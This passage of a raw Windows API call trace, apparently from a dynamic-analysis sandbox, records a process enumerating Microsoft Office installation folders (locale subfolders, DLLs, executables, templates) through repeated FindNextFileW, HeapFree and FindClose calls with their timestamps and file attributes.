ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0243.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.879] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1 [0243.880] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.880] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1 [0243.880] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.880] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0243.880] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.880] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0243.881] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.881] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1 [0243.881] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.881] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0243.881] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.881] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0243.881] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.882] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0243.882] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0243.882] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0244.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0244.186] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0244.188] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0244.188] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0244.188] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0244.188] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.188] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0244.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0244.206] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0244.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0244.219] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0244.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0244.229] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1 [0244.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0244.601] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0244.738] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0244.738] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0244.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1 [0244.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0244.807] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0245.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0245.468] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0247.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0247.394] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0247.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0247.394] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1 [0247.395] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0247.395] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0247.397] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0247.397] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0248.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.309] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0248.309] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0248.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0248.311] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0248.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0248.313] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0248.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0248.313] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1 [0248.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0248.316] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0248.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0248.318] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0248.318] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0248.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0248.318] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0248.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.321] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0248.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.323] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0 [0248.323] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0248.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.323] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0248.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.324] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0248.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.325] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0248.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.325] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0248.325] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0248.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.325] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0248.325] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 